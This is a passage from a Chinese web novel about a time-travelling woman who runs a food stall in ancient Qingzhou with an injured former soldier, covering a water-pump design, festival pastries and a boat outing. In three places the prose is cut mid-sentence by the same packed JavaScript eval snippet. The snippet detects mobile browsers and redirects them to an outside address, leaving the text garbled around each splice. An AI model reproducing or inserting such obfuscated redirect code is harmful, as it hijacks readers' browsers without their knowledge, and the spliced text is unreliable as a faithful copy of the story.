盛时云把围裙晾在旁边,路过水缸时,瞧了一眼里面的水,忽然想起一件事:“你会做些工具奇巧之类的东西吗?” 塞北军士在物资短缺时经常会手制兵器。穆遂安浅思片刻,点头道:“也许能,你要做什么?” 外面全然黑了,只靠几盏油灯亮着。盛时云杏眸中划过惊喜,不管费眼,不知从哪掏出纸笔来,兴冲冲地画了几笔,竟然真的勾勒出一个压水井的轮廓。 “这里,是铁的。这里有一个把手,里面加个塞子。”她分别用箭头标出来,结构十分清晰。 盛时云曾经在农村采风的时候,经常用到压水井,早就摸清了这东西大概的原理。她之前经常在电脑上画一些可爱的小图案,给自己剪辑的视频添彩,因此下笔的线条格外熟稔。 这个压水井,可谓是她从一开始就想要造的,已经在头脑中描摹过许多次,画起来十分得心应手。 拿过图纸,穆遂安在灯盏底下,聚精会神地研究了一遍,唇角弯扬,毫不掩饰自己的喜出望外:“你是如何知道这种井的,结构真是巧妙。” 盛时云把笔放下,直言不讳:“在老家见人用过。” 穆遂安刚想把目光转回图纸上,头脑里忽然像被针尖戳了。他掀起眼睑,疑惑地看向盛时云,品到了一丝不对劲:“老家?” 在旁人看来,盛时云的老家可以是任何一个地方。普通百姓一辈子也游历不了几个山泽大川,盛时云那些现代的见闻,一举推到过往身上,没人会去细究考察,好糊弄得很。 可穆遂安不同,他只知道盛时云大周朝二殿下的身份。大周公主,一辈子理应住在京城或者和亲的夫家,偌大皇宫里都没有的压水井,她又是从哪个老家知晓的? 盛时云正用笔杆挑着油灯上的火苗,隔着飘忽的灯光,敏锐地察觉到穆遂安的怔然,她反应极快,心态又拿得很好,撤出笔杆敲了敲脑壳,单侧眨眼,卖乖道:“喏,智慧的老家。” 穆遂安这人就像个装着温水的玉罐子,长相养眼,还很容易被逗笑,他左侧唇角有个隐约的梨涡,一笑起来就会旋得格外好看。 然而现在,他也确实随着盛时云的动作笑了出来,只是清淡得连一点梨涡的痕迹都没见到,绝对不是真心的。 盛时云眨了眨眼,有点纳闷。想破脑筋也不会想到,穆遂安就是北郡侯,一个月前还在长街上和她聊过天送过伞,如今就又在青州碰上了。 她自觉岔开话题,把笔杆放到桌上,伸手去捏他的小指:“怎么了?” 穆遂安察觉到自己的失态,把手指轻轻攥起来,想掩过去。刚要开口说声没事,便见盛时云直起身子,为了确认什么似的,倾身将小手放在了他额头上。 穆遂安被她突如其来的动作弄得有些不知所措。盛时云虽然经常做饭,但很会养护自己,擦手油必不可少,因此手心软软的。被这样一贴,他感觉自己像被羽毛飘然扫过,有些不适应地抿了唇,但没动,安静地抬眼看她。 “你发烧了……刚刚早些睡就好了,怪我还和你聊些有的没的。难受吗?”相较于穆遂安的别扭,盛时云并没有多思多想,一本正经地抽手回来。她懊恼地微蹙着眉,将人拉起来往屋里推,“你先去躺一会儿,我给你烧点热水。” 见她这样着忙,穆遂安倒觉得挺新鲜,心里杂念暂搁起来。 他从小在沙场摸爬滚打,十四岁披挂上阵,刀剑无眼,伤口发炎化脓,一连发烧几日,带病杀敌都是常事,从没觉得有什么不妥之处。 听到盛时云这样一问,穆遂安忽然觉得手心确实有些发凉,嗓子也钝钝的疼了些,他被推着往回走,一路夜色,青石板硌着鞋底,穆遂安闷声应了:“是有些难受。” “明日你就别去了。”盛时云把窄房的门敞开,盯着他躺下去,回身去把灶火重新生起来,她叹道,“瞧着你也挺精壮的,怎么就虚成这样呢……” 躺在芦苇丛里的时候,她以为他连人气都没了,怎么能落到这么惨的境地。 一个念头闪过,盛时云脑袋像是突然上了弦,她把锅盖扣好,靠着窄房的门框,琢磨了半天,把自己先前看过的电视剧剧情全都想到了:“你受伤是因为被人追杀吗?” 她倏然转身,扶着门框杏眸圆睁,目光干干净净:“不会牵连到我吧?” 本来因为方才一事,穆遂安戒心未消,将盛时云身份的所有可能性都想了一遍,就差在谢家探子和北胡奸细中间找个定论。结果盯着她的眼睛,那种被羽毛轻扫的感觉重新涌上心口——什么都不愿多想了。 穆遂安挪开视线,声音发哑:“不会。” 窄房里面没有窗口,只有从木门闪出的一小道缝隙中透出灯光,橙色的火苗抖动着,能看到盛时云在外面来来回回走着的影子。 心神不定,小腿重新连接的地方疼得发紧。穆遂安困顿地靠在墙上,他瞧着地上投射的光,眸色漆黑,噙着的似懊恼似不解。情绪来得太快,饶是他也说不清道不明。 第二日,任凭穆遂安如何保证自己已经没事了,盛时云依旧没容许他出门,把脏兮兮的福团扔到窄房门口,忍俊不禁:“没事干的话,就给福团洗个澡,昨天忙着干活没注意,它自己滚泥坑里了。” 她到底自己拽着推车走了,底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056572|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下放薯条的桶旁又放了一盆昨天切好的菜丝。今日上街,不仅要卖狼牙土豆和冬瓜糖,还要多加一个卷凉皮。 刚把推车摆到位置上,莫秀娘就来了。她手里拎着一沓做好的凉皮,搁到推车的案子上:“你看看,这种薄厚能行不?” “可以啊,不愧是凉皮大师,手就是巧。”凉皮泛着米色,盛时云洗过手把凉皮抻了抻,劲道光滑,确实是她需要的。 “昨日你教完我,我回家又试了两张才整出来的。”莫秀娘眯着眼睛,语气夸张,“你可不知道我家里面人吃完了怎么夸的,我婆婆那么刁钻的人,一连说了好几次,叫我把你招到我家来吃饭。咦?你家帮工今天没来。” “可以啊,讨老太太开心呗。”盛时云把菜盆和辣酱都摆上来,朝着凉皮比划了一下,“他病了,我让他歇着点。这些多少钱?” “十二文。那就等过两天,穆公子也病好了,再找个日子一块吃。”莫秀娘钱也拿了,话也带到了,高高兴兴地回去自家位置上蒸发糕。 盛时云先把铁板烧热,不急着放薯条。在案板左边新开了一方位置,铺上凉皮,把熬好的辣酱刷上去。辣酱是用两种辣椒粉炒的,一种提味一种上色,里面加上蒜蓉和白芝麻,色泽红亮,入口辣味不多,更多的是香,直叫人流连忘返。 把菜丝、面筋、花生米全都摆上去,先封两边再卷中间。凉皮透亮得能看见里面的豆芽和黄瓜,绿的白的红的,一个个摞在案上,实在喜人。 三仙街四通八达,往来的行人一直不少。早上就有很多熟客路过,常常乐意买份狼牙土豆做早饭吃。有云家的招牌,新吃食并不愁卖,莫秀娘前脚回去,后脚盛时云的推车旁就站了个人。 盛时云认得他,是之前给她掰了块海菜干的干货店的周老板。周源瞧着四十出头,也是刚要往自家店里去,老远就看到盛时云跟莫秀娘扎在一起唠嗑,再往旁边一瞅,推车上面又多了点新鲜玩意。 “盛小娘子又做了啥子好吃的,给我包一个。”他对盛时云的手艺绝对信任,还没问价,就已经从钱袋里往外掏铜板。 “卷凉皮,五文钱一个。您稍等,我给您新卷一个。” 盛时云卷得皮薄馅大,个个胀鼓鼓的,男人吃了都能七分饱。价格不贵,买一个还能尝到不同的菜,看着就觉得实惠。 “再包三文钱的糖。你这的东西都不用张嘴问,必须好吃。”他不转眼珠地看着盛时云卷完,口水都要淌下来,接过来急忙咬了一大口,满足得整个人都飘飘然起来。能吃到这等美食,成仙他都得犹豫犹豫。 “周老板可把我夸出花来了。九块吃得了吗,再过两天天儿热了就放不住了。”盛时云有个单独夹糖的夹子,见周源点头,她把糖递过去,“您拿好。” “我家人多,小孩也爱吃,老人也爱吃。”周源嚼着凉皮,嘴边还沾着辣酱,不拘小节地随手一擦,也不着急回去把店面先打开,站着闲唠道,“一说天儿热我可想起来了,再几天就端午了,你家不出点啥吃的?” “粽子呗。周老板要能给我点海蛎干,我包几个肉粽,让咱们三仙街的都来吃。”盛时云套上围裙,拿湿布把推车擦了半天,斜睨他一眼打趣道。 “那咋不行呢,海蛎干才几个铜板。”周源好说话得很,卷凉皮吃得他美滋滋的,呵呵笑着,“你得早作准备,今年端午也挺热闹。咱们青州地方小,划不开龙舟,但是有游船,人一准少不了。” “我走了,你赶紧寻思寻思啊,盛小娘子。要能再做点新奇的,我海蛎干随你拿。” 盛时云“嗯”了一声,悠悠把袖子挽起来,脑子里的想法渐渐成了型。 过节嘛,要做就做点好看又好吃的东西。 17. 栀子酥 穆遂安一病就是几日。发烧这个病向来有规律,晚上烧起来,上午就能退热。那天早上,穆遂安出了身冷汗,以为自己再没事了,没想到盛时云推车回来后,又昏昏沉沉烧了一番。 这下没办法了,去医馆把了把脉,又拎了几副药回来。 自己简直成了一个药罐子。盛时云也特意做了清粥淡菜,竹竿巷的饭香都被中药的清苦掩去不少。 穆遂安吃,盛时云也跟着吃。吃多了重油重味的菜式,喝粥也不赖。更何况,盛时云熬的粥也不是一成不变的。 红豆红枣粥、绿豆莲子粥、山药薏米银耳粥…… 玉米萝卜粥、生菜瘦肉粥、菠菜鸡蛋虾皮粥…… 喝粥养人,每天换着样子吃,穆遂安不但没瘦,甚至多长了些肉,比初见时候那副衣宽带松的模样强了不知多少。 他这次发烧,本就是从劳累上来的。原来的亏空还没补好,就忙这忙那,正巧还遇到有人找茬,平白无故生了一肚子气,确是很难不生病。 不过,盛时云倒是想得明明白白。干不了活又如何,穆遂安光是坐在旁边,就会引来三倍客流量。招财猫一样的人,宠宠怎么了?还是得让他养好了身子,长长久久为自己打工才好。 平日里,盛时云出去摆摊,穆遂安抱着福团守家,无聊的时候就拿着把扇子给自己熬药喝。他把盛时云画下来的水井图纸反复看了很多遍,越看越觉得可行。 她毕竟是个女儿家,聪明能干,却也多少抵不住摇井挑水这样的重活,造一口压水井实在能省去不少事。穆遂安拿笔将图纸细化,趁着自己缓回精神,去了铁匠铺一趟。 跟铁匠研究半天,终于将造井的材料和时间确定下来。 盛时云一回家,穆遂安就把这个消息告诉了她。因为图纸已经十分完善,所以在建造方面没有什么问题,唯一需要考虑的是井的价钱。 这种井耗铁量很大,就算不必用精铁,价格也不便宜。盛时云将穆遂安列出来的单子瞧了瞧,点头:“那也要造,早有早享受嘛。”她最近卷凉皮卖得很火爆,现下一天比一天热,人们都爱吃点凉的东西。 即便没有穆遂安露面,盛时云依旧带着莫秀娘赚了个盆满钵盈。 事情就这么定下来了,穆遂安在家监工,盛时云在外赚钱,有闲时,冯桃还会带着乔乔去摊上帮忙,日子过得越来越好,钱也越赚越多。 临近端午,盛时云歇了两天,在家准备节日专供的菜品。 粽子自是必不可少的,盛时云提前买了粽子叶、马莲草和糯米用水泡上。她是北方人,更爱吃甜粽,因此多买了红枣、豆子只等抽出闲暇来多包几种。 前两天,她又竟然一人搬了两盆栀子花放到院里。六月份正是栀子花开的时候,两棵花树全是含苞待放的花骨朵。花瓣柔软雪白,绿叶点缀,一进门就是阵阵甜香。 “今年端午城外有游船会,到时候我打算做些栀子酥拿去卖。”盛时云拿着个小笸箩,树枝上半开不开的栀子花全都落进笸箩里,她采了满篮,扶着箩边上下筛了两下。 盛时云原本想做的是荷花酥,荷花粉红,需要染色,可她在街上转了几圈,并没有看到有甜菜根可买。所以退一步,掐来这个时节盛开最繁的栀子花,做一道栀子酥。 “这些怎么处理?我去洗。”穆遂安长身玉立,静静地瞧盛时云摘花。得到肯定的回应,接过笸箩转身到压水井的出水口底下,纵手轻按几下,一股清澈的水流汩汩冒出,将花瓣全都打湿。 这口井确实是个好东西。那天请来的铁匠甚至旁敲侧击地问及,能不能加点钱把这个图纸买下来。盛时云考虑良久终究没应,这会儿不是缺银子的时候,卖图纸的事情,不急于一时。 洗净花瓣,盛时云先去筛面,叫穆遂安将栀子花泡水煮开。花瓣在清水里舒展,逐渐由白化作透明。 煮好的汤水放在一旁晾凉。调养几天,穆遂安身子好了不少,只是腿疼依旧,盛时云让他歇在一旁,拿着把小勺把绿豆馅戳出沙来。 这道点心是典型的中式点心,因此讲究形意,面要揉好,形状也要捏好。 她撸胳膊挽袖子,先做水油皮。面盆里倒进面粉和少量的糖和猪油,再将花汤水浇在上面,用筷子搅拌成面絮。再用手揉面,一块面团被揉得吹弹可破,凝着一层油润的莹白。 静置的过程中,盛时云来到穆遂安身边。一碗绿豆沙被戳得散着一股豆香,猛火蒸过,再加糖放入锅里翻炒变稠,加油少许,继续刮拌,轻揉几下就做得差不多了。 “你把这些捏成水滴形。要这么大。”盛时云用手比划了一下,自己先捏了一个样本放在桌上,让穆遂安照着做,自己回到灶台旁边,将方才搁置的面团拿出来端详。 她将昨天晚上就做好放进桶里用冰水镇着的干油酥取出来,硬度已经够了,反复搓酥了三遍,看起来十分成功。 水油皮擀开,包裹在油酥上面敲酥。接着进一步擀开,这个步骤有讲究,擀酥应当先擀长再擀宽。她头一次做酥点的时候,就因为没有注意到这个细节失败过几次。 现在的条件比现代更加恶劣,既没有冰箱也没有刮板,每一步错了都要重新来过。因此盛时云不敢分心,耐着性子一点点地细致做来。 等擀好酥皮,盛时云找了个在街上买的模子,扣在皮上压出花瓣的形状。两张花瓣皮为一组,大花瓣包上小花瓣,小花瓣包上绿豆馅,一朵花栩栩如生地复现在盛时云手上。 漏勺送面花进入油锅,养酥层,炸熟。酥层随着油温上升逐渐绽开,一块面展成三层,膨胀中的栀子花重瓣纠缠,洁白可爱。等穆遂安靠到灶台旁边,盛时云手边的盘子里已经落了三四朵栀子酥。 褪了油热,竟然真的散发出阵阵栀子花的甜香。 天气渐热,油温和灶火都高,盛时云穿了一件水蓝的薄对襟,依旧出了一身的汗。控制火候最要细致,眼看着一朵朵白花惊艳地开出来,屏气凝神地丝毫不敢放松精神。 阵阵凉风袭过,盛时云一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081250|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏头,穆遂安正拿着扇子给自己扇风。她将炸好的点心推给他:“喏,你尝尝味道怎么样。” 案板上还有十几个没炸的,盛时云格外珍惜自己的劳动成果,只准穆遂安吃一个。刚拿在手上,花香扑鼻而来,外形精致,外面的花瓣凉了变酥,里面的豆馅还热着,松软清甜。 “好吃。”穆遂安的吃相十分得体,没让一点酥渣掉在地上,“这么难做,你准备怎么卖?” “酥点能多放点日子,估计攒一攒,端午当天能卖四十个。单个卖,八文钱一个。”盛时云掀起眼眸看向穆遂安,后者点头认可,仔仔细细将桌上迸出来单独油点子擦掉。 相较于栀子酥的繁杂,粽子就省力多了。盛时云忙着做栀子酥的时候,穆遂安把米和粽叶都冲洗妥当。 盛时云包粽子,用的是北方人的方法。包出来的粽子体型敦胖,留出四个角,看着像个小灯笼。米分两种,有江米和黏黄米,最经典的吃法就是将红枣堵在顶端,甜丝丝的。 因为多泡了豆子,盛时云还往里面放了绿豆沙,又是别的一番滋味。 令她没想到的是,穆遂安这种厨艺不精的人居然也会包粽子。捏筒、折叶子,捆绳。一套动作下来,出现的也是一个北方粽子。 “你也是北方人?”盛时云将包好的粽子数清个数,放到盆里。 “是,家在北方。原来觉得包粽子有趣,吵着要母亲教我。”穆遂安唇角含笑,配合着将粽子的大小分出来,小的出去当赠品,大的留着自己吃。 “对哦,你说话也不像南边的人。”盛时云歪歪头,没注意自己袖子湿了,“断着一条腿,能跑到南方来,这一路也挺不容易的。” 话音刚落,穆遂安拿了一块干布,探手在她的袖子上攥了攥,视线从盛时云的皓腕上不经意扫过,最终落在盆里的粽子上,语气里没有什么可惜:“天灾人祸,时也命也,都是没办法的事情。” “那我希望命运能眷顾我一点。”盛时云漫不经心地站起来,她干完活总是会习惯性地掸掸衣衫上面的灰尘,打了个哈欠道,“先前的日子太苦了,我要否极泰来。” 穆遂安怔住了。 无论是盛时云说的假身份,还是她在皇宫过了快二十年的真经历,都令人目不忍视、耳不忍闻。 他不常在京城,对于大周二殿下这种不受宠公主的印象更是少得可怜。她一向没有存在感,就是阖宫宴会的时候,也是默默低着头,连眼睛都不敢抬。 仅仅听说过的几件事情,不是被这个皇子欺负了,就是被那个公主欺负了,再者就是被下放青州一事。抛开盛时云当时的真实意愿不谈,似乎只有大公主欺负她的次数最多。 想及此处,穆遂安的眸色变了又变,坠上一抹寒色,长街跪在那里战战兢兢的可怜身影,和当下欢快活泼的鲜活女子重叠一处。胸口怒气上涌,呛得他猛地咳嗽出声。 意识到自己与大公主未竟的婚约,他心底一阵庆幸。 欺负她?凭什么。 18. 端午大卖 端午节前,虽然休息了几天,可做酥点、煮粽子,花去了不少功夫。 两人往医馆去了一趟,江郎中说穆遂安的身子着实好了不少,伤口上的痂都掉了,只消再吃几副药巩固巩固。 在家好吃好喝地养着,穆遂安的腿伤也好了大半,几乎感觉不到痛楚。但是之后还是得好好养着,伤筋动骨一百天,绝对不能怠慢。 回来的路上,盛时云抖开两人签好的契书,反反复复地细看一遍。上面只穆遂安签了一个月的时间,等过完端午,他俩就算两清了。她心底不知道什么滋味,牙齿轻咬着腮上的肉,嘴巴鼓鼓的,一副头疼的模样。 她已经习惯了屋里有人存在,穆遂安乍一走,自己可要孤单够呛,更重要的是,自己摆摊的吉祥物也跑了,实在惋惜。想到哗啦啦的银子,盛时云心尖一痛,扭头眨巴着眼睛看向穆遂安。 那双眼睛水汪汪的,比福团还要可爱万倍。 穆遂安垂首,恰好对上她的眼眸,不禁哑然失笑,问道:“怎么了?” 盛时云一只手指戳在下巴上,微微蹙眉:“要不,咱们再续签一个月吧。”她想着自己的要求有点无理,赶紧补充道,“银钱会正常发你,吃住都管。……不过你的伤病都好了,若是想去别处游历,也可以直接拒绝,不必多想。” “无妨。”没等她说完,穆遂安立刻张口。话接得太快,两人似都没反应过来,穆遂安沉默片刻,挽尊地说道,“我没有多想,只不过江郎中说我还需要多将养,在青州多留些时日也是不错的。” 青州多雨,幸运的是,最近的雨水全下在了端午之前,以至于节日当天地上还湿漉漉的,让游船的河水涨了不少。 因着穆遂安养病在家,盛时云也没去上山采蒿,早早地敲开冯桃院门,递了四颗粽子给她。 乔乔从门缝里探出来个小脑袋,她今天被冯桃好好打扮了一番,额头点着一个朱砂点,像年画里跳出来的娃娃。 “今天怎么打扮这样好看,你娘开心啦?”她蹲下身捏了捏小孩的脸蛋,看见乔乔手腕上绑着两条五彩绳。她这才想到端午节带五彩绳保平安的说法,扬头朝着冯桃看去。 冯桃才将送来的粽子摆好,回来时听到个话尾巴,捂嘴笑道:“她爹赚钱了,我们娘俩也好好打扮打扮。你瞧什么呢?” “顺子哥可是真能干。恭喜恭喜!”她看着冯桃家明明只住了一大一小,喜庆得居然和过年一样,禁不住也被这种氛围感染,笑道,“我看乔乔的五彩绳呢,这两日没上街,竟把这事忘了。好阿姐,你家还有多余的没?给我两条呗。” “自然有。”冯桃一摸兜,刚好掏出来三条,一股脑塞到盛时云手上,露出八卦的眼神,“都给你,你家也不是就你自己啊。欸,你真对你家那小穆郎君没点意思?” “……”盛时云拽着五彩绳,无语地瞧着她,“啧”了一声,漫不经心道,“我现在一门心思赚钱,哪有空寻思那些事情。” 冯桃笑得直不起腰,一把将乔乔拎起来抱在怀里,故作嫌弃地挥了挥手:“得了得了,我不逗你了。不是还要摆摊吗,赶紧忙去。” 回了家,把五彩绳戴上,还没到辰时,现在过去刚刚好。 今天穆遂安恢复上岗,刚推着推车出现在河边,就引来了不少人的注意。盛时云找到莫秀娘提前占的位置,扬了扬眉:“端午安康啊。” “端午安康。你今天要卖什么,之前问你都神秘兮兮的。”莫秀娘回头看向穆遂安,用眼神打了声招呼,视线往下一瞧,推车笸箩里摆着锦簇的栀子花。 花团锦簇,洁白无暇,老远一看,似乎就能闻到花香。 她眼睛瞬间睁大了,吃惊地扔下盛时云,上去仔细看了看,啧啧称奇道:“难怪你不说,这等好东西,若不是凑近了瞧,我还以为是真花。” 莫秀娘摸摸腰包,毫不犹豫地掏钱买了一朵,放在手里端详半天,怎么也不忍心下口。 湖面碧波荡漾,飘着许多形态各异的小船,游人多是一大早上山采蒿子,下山去庙里拜神仙。还有想得高中的学子,全都往魁星庙去,恰好要穿过三仙街,路过湖边来。 游人众多,整个青州的摊贩都聚在了此处。他们来的时间刚刚好,食客们绕了一圈,多数饿了肚子,全都涌了过来。 她家的吃食越做越多,趁着歇业那几天,盛时云还特意去换了个招牌。把“云家狼牙土豆”换成了“云家食摊”。 老主顾们倒是不在乎是土豆还是食摊,他们只认两字——“云家”。苦等几天,盛时云终于开张,还把穆遂安带了出来,真真是极好的事。 盛时云不急不躁地开火炒狼牙土豆,穆遂安也早就学会了包卷凉皮,还能帮着打下手,两人有条不紊地出餐,循着香味找过来的人越来越多。 “盛小娘子,这是何物?” 有人注意到笸箩里面的栀子酥,惊奇地凑近了瞧,只觉得花香扑鼻,巧夺天工。 “这是我特意制作的栀子酥,用栀子花汁所做。节日限定,卖完为止。”盛时云的声音不大,但掷地有声,离得近的人全都伸长了脖子,看向了这新奇的酥点。 “另外,今日过节,每位食客都能免费领一个粽子,感谢大家对云家食摊喜欢。” 相较于盛时云的忙忙碌碌,穆遂安一直安静地坐在一旁干活。他动作稳健,将每个卷凉皮都包得十分类似,连宽度都差不多。与此同时,还能顾得上将粽子拿出来递给食客。 她半天没听见穆遂安的动静,往那边瞟了一眼。恰好,穆遂安仿佛有所感知,也朝她的方向看来。视线相碰,两相含笑。 穆遂安瞧见她左手腕上戴着与自己一模一样的五彩绳,心中熨帖,满意地转过头继续自己的工作。 忙过了这阵,已经快到未时。 不知道古往今来是否都一样,上午还热热闹闹的湖边,到了下午,游客就明显地减少了。大家都忙着回家吃一顿团圆饭,湖边的各个摊铺也都打包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093130|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西回家。 意料之中的,盛时云的栀子酥卖得格外好。不止是年轻女孩喜欢,还有情侣和夫妻,都愿买个栀子当做过节的好彩头。一时间,湖边几乎人手一个。不舍得吃的,端在手里瞧;舍得吃的,一进嘴,栀子与绿豆碰撞,便是一股初夏的清香。 穆遂安数好了铜板,一抬头,便见盛时云已经将所有用具收拾好,靠在撑杆的旁边往湖里瞧。 夕阳下的湖面浮光跃金,鸟雀归巢。船家在岸上坐着整理绳子,几乎大多数的游船都已经靠岸。 看出了盛时云的心思,穆遂安站起来,把钱袋递给她,问道:“你觉得哪条船好看?” 盛时云不觉有他,认真地想了想,指着不远处那条在船篷上描画着金边梅花的小船,心仪道:“那个,里面好像还能点灯呢。” 片刻后,盛时云坐在船里直发愣。 穆遂安站在船头,桨板在他手里如同灵活的鱼尾,乘机自如地将小船向前推进。他自己会划船,便没叫船夫跟着。盛时云头一次坐这样的小船,好奇地支起身子四处打量。 外面透着太阳残存的红晕,映在船里,泛着落叶的橙黄。梅花上果然描着一层金边,往船外看去,就是碧水天色。 “你看,还真能点灯……啊呀!”她往旁边蹭了蹭,想要扶上船篷上的那枚小灯笼,没想到船身一歪,盛时云重心不稳,直接栽在船板上。 她摔倒的声音大得很,船体猛烈晃动着,穆遂安手疾眼快,立刻反应过来,但还是迟了一步,眼睁睁看着盛时云跪在船板上,皱着小脸。 他将桨板收好,上前扶她。摔就摔了,本来也摔得不重,但盛时云有个毛病。若是没人当回事,那就无所谓地过去了;可若是有人关心,便不一样了…… 就如同此刻,没等穆遂安蹲下,盛时云一抬头,眼圈红的,嘴也撇着,一副要哭不哭的样子,可怜得让人心疼。 穆遂安见她这样以为是伤到哪了,不顾自己腿上的不适,俯身下来,将她的手心翻起,缜密地检查一遍,除了有点红,什么事也没有。 “有哪里疼?”他记得保持距离,按住动作,连说话都快了几分。 盛时云还沉浸在摔跟头的悲伤里,她摇摇头,任凭手心被他捏住,泪珠子在眼眶里打转转:“不疼。” 问哪里都不疼,穆遂安这才勉强放心。没有桨板,小船毫无目的地晃荡,他坐在一旁,侧头看她,等盛时云的泪珠掉完。 盛时云一向都是活泼自信的模样,乍一哭,竟成了新奇事。原本白皙的小脸因为掉眼泪透着粉红,像只挨欺负了的兔子,眼角眉梢格外妍丽。 但盛时云总归是盛时云,哭完了,手也不红了。她坐在原地,朝穆遂安的方向悄悄一瞟,有些不好意思地别开眼。她愣怔片刻,拧着劲,艰难地站了起来。 “来教我划船。”她捡起桨板,晃晃悠悠地走近船头,回首看向穆遂安,倔强地招了招手,“我就不信,它能给我甩下去不成。” 19. 西红柿炒鸡蛋 盛时云似乎真的碰到了对手。炒菜做饭行云流水的动作,到划船上就变得歪歪扭扭。她吃力地一下接一下地戳着桨板,眼看着小船越来越歪,不知道要往哪个地方驶去。 穆遂安盘腿坐在她旁边,从小案上倒了一杯茶水慢悠悠地喝。另一只手护在她的裙摆处,防止盛时云一不小心顺着力道掉下去。 忙活了大半天,盛时云终于认了输,将桨板丢到穆遂安身上。也靠着船篷坐下来,拍拍穆遂安的手臂,叫他递一杯水给自己。 茶水润泽,喝完了嗓子都舒服不少。盛时云舔舔嘴唇,向外张望。远方有一层山脉的虚影,湖岸边是翠色欲滴的夏柳,相映成趣,化作由浅及深的渐变色。近处寒潭晃日,波光粼粼。 这一望,竟然叫盛时云瞧入了迷。她原先在现代,到处是高楼耸立,天空也雾蒙蒙的,哪里见过这样清透的景色,果然和书中写得一般。 她心境为之一阔,回头对上穆遂安的视线,高兴道:“今天的景色真漂亮,先前从未见过,真的和水墨画一样。” 穆遂安并未将注意力投到风景上,被她这样一瞧,回过神来,不着痕迹地挪开目光,眼前还挥不去绕在女孩耳朵上的那缕青丝。他低头看着船头底下的湖水,欲盖弥彰:“确实好看。” 他只当盛时云自小困在宫里,不曾见过那些山川大泽,揉了两下腿,心绪也宁静下来。 等两人下船回家,刚到竹竿巷口,就见到冯桃提了个灯笼,在家门口焦急地往外瞧。见盛时云回来,兴奋地招了招手:“时云妹妹,有你的信。” 不用想就知道是谁的,盛时云唇角顿时扬了起来,丢下穆遂安,提着裙子小跑过去,问道:“伏念来的?” “那是自然。”冯桃笑道,“今天赶巧,我家顺子也来了信。我去驿站的时候,他们说这两封都是竹竿巷的,我就都拿回来了。” 她不识字,赵大顺的信就依傍着盛时云来念。盛时云能帮就帮,叫穆遂安先带着伏念的信回家,自己去冯桃家里,顺便逗逗小乔乔。 看样子,赵大顺出海的日子过得不错。他刚到一个码头,就下船找驿站将写好的信寄回给冯桃。字句里全是对家的惦念,光是问乔乔的话就写了四五句。 冯桃从没离开过丈夫这么久,边听边掉泪,一封信读完。她抹着眼睛,将信纸接过来好好摸索了一遍,委屈道:“这个属白眼狼的,问他闺女那么多事,不见问我过得好不好。” 盛时云又点了一盏灯,让光线亮些,掏出来一张纸,等冯桃口述回信。她听着冯桃的嘀咕,不禁乐开了,劝道:“这不就是长久夫妻吗,不用问也是一体的了,你们是心有灵犀。” “也对。”冯桃把乔乔抱过来,露出笑容道,“你也来,给你爹画个小花,让他见了高兴高兴。” 回信也写完了,盛时云告辞回家,还荣幸地收到了一朵乔乔画得“最好看的”小花。幼稚天真的笔触怎么看怎么都喜欢,盛时云将纸张折在怀里,妥帖地收好。 一进门,福团没来迎接她,倒是先闻到一股饭菜的香味。 盛时云“嗯?”了一声,到处一瞧,先瞅到了蹲在食盆前大口吃饭的狗崽。福团最近长大了不少,到了小狗尴尬期,头大身子小,像一颗豆芽菜,显然听到了盛时云的动静,尾巴摇得螺旋桨一般欢快。 穆遂安从里屋出来,正拿干布擦着手,围裙还没摘下来。盛时云见他这幅样子先是愣了一下,随后两眼一亮,问道:“今天怎么你做饭了?” “福团饿了,顺便就把人吃的也给做了。”他把擦手布撂倒一边,去锅里盛菜,“就做了西红柿炒鸡蛋和酸辣白菜,锅里还热着粽子,等我剥出来。” 这情况新鲜得很,盛时云背着手在他身边左看右看,吊儿郎当地问道:“什么意思?表现得这么好是想要银钱,还是怕我辞了你?” 穆遂安语塞,不咸不淡地瞥她一眼,不太高兴:“哪来那么多为什么。” “今日赶上我们穆公子心情好了。我尝尝。”盛时云调笑着,帮忙把盘子端到桌上,夹了一筷子的西红柿炒鸡蛋,酸甜可口,十分开胃。 “好吃欸,有水平。”她毫不吝啬自己的夸奖,穆遂安过到桌子旁来,将剥好的粽子摆在上面。闻言,方才还有些不自在的表情,掩饰不住地露出些微的得意。 粽子煮的是黄米红枣和江米豆沙的,盛时云爱吃甜,上面的白糖堆出了一个小尖尖。西红柿炒蛋也是她喜欢的咸口。除了酸辣白菜的勾芡有些浓稠,别的毛病一点也没有。 从中午头到现在,俩人没吃上什么正经饭,都顾不得说话,大口大口埋头干饭。五个粽子吃了四个,这才算抬起脑袋来,舒舒服服地叹起了气。 